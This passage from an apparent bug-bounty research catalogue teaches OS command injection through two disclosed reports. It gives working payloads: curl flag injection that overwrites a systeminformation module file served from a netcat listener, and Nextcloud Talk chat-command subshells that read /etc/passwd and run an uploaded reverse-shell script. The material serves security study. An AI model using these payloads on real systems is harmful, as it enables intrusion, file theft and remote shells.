  2. Instead of shell metachars, inject the tool's own dangerous flags (curl -o/--output, tar --to-command, ffmpeg -f lavfi).
  3. Point the download/overwrite at a JS file inside the module, host malicious content on a listener, then trigger a code path that loads that file.
const si = require('systeminformation') const HOST = "127.0.0.1:443" // telnet:// avoids curl's HTTP status check; -o overwrites the module's own JS si.inetChecksite(`telnet://${HOST} --no-buffer -o node_modules/systeminformation/lib/internet.js`) // serve the malicious internet.js: sudo nc -nlp 443 < file.js // then any call triggers your code: si.inetChecksite("<Some OS command>")

Insight — 'No shell metacharacters reachable' does not mean safe. If input becomes an argv element of a powerful CLI, injecting that tool's flags (curl -o, wget -O, tar --to-command, find -exec, ffmpeg) can write files or run commands. Overwriting a JS file the app later require()s is a clean RCE bridge.

Real-world example

OS command injection via chat-command arguments ($() subshell)

◆ High
Specimen #851807 · nextcloud · awarded · 317 votes · resolved
Program nextcloudSurface webChain Chat command arg -> @exec shell -> $() substitution -&

Root cause

Nextcloud Talk chat commands pass user-supplied arguments to a shell executor via @exec; arguments are not neutralized, so bash command substitution $(...) executes arbitrary commands as the web user.

Method

  1. Find a configured /command that accepts arguments (e.g. /wiki, /calc)
  2. Inject a subshell in the argument: /wiki test $(id)
  3. Use a command whose script echoes output to read results (/calc), else blind
  4. Upload a shell script to your files and execute it for a reverse shell
/wiki test $(id) /calc test $(cat /etc/passwd) /wiki test $(bash /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh)

Insight — Any feature that shells out to a helper script with user args is command-injectable - test $(...), backticks, ;, |, &&. Even 'blind' commands run; pair with a file you control on disk (uploaded to your account) to stage a reverse shell.

§References & practice

  1. PortSwigger Web Security Academy — OS command injection labs (hands-on practice).
  2. All 85 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.